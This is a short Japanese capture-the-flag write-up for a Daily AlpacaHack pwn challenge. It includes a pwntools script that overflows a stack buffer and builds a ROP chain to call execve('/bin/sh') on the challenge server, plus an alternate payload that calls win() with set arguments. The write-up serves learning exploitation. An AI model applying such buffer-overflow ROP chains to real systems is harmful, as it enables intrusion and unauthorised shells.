Daily AlpacaHack 2026/2/14 の write-up です。
やったこと
まず言い訳として、当時めちゃくちゃ頭が回っておりませんでした。
win(0xdeadbeefcafebabe, 0x1122334455667788, 0xabcdabcdabcdabcd) を呼び出すにあたって、pop %rdi; ret などの gadget はあるけど push $0xdeadbeefcafebabe みたいなのができなくない?(??)みたいな気持ちになっていました。
そもそもスタックをぐちゃぐちゃにできる前提があるから ROP ができるわけなんですよね。
というところでいろいろ考えて、「char command[] = "/bin/sh"; や execve(command, NULL, NULL); があるんだからそれを直接呼び出せばよくない?」という気持ちになりました。このあたりで "/bin/sh" の入っているアドレスをスタックに入れられるのと同様の方法で 0xdeadbeefcafebabe とかもスタックに書き込めるじゃんというのは気づきましたが、別にこの方針でも解けるのでこうしましょうという感じになりました。
exploit.py
from pwn import * def nc(nc_comm): nc_argv0, host, port = nc_comm.split() return remote(host, int(port)) elf = ELF("chal") rop = ROP(elf) p = nc("nc 34.170.146.252 31441") p.recvuntil(b"address of win function: ") win_addr = int(p.recvline().decode(), 16) elf_offset = win_addr - elf.symbols["win"] payload = flat( b"a" * 0x48, p64(elf_offset + rop.rdi.address), p64(elf_offset + next(elf.search(b"/bin/sh"))), p64(elf_offset + rop.rsi.address), p64(0x0), p64(elf_offset + rop.rdx.address), p64(0x0), p64(elf_offset + elf.symbols["plt.execve"]), ) p.sendlineafter(b"input > ", payload) p.interactive()
下記でいいですねということで、一応そちらも投げました。
payload = flat(
b"a" * 0x48,
p64(elf_offset + rop.rdi.address),
p64(0xDEADBEEFCAFEBABE),
p64(elf_offset + rop.rsi.address),
p64(0x1122334455667788),
p64(elf_offset + rop.rdx.address),
p64(0xABCDABCDABCDABCD),
p64(win_addr),
)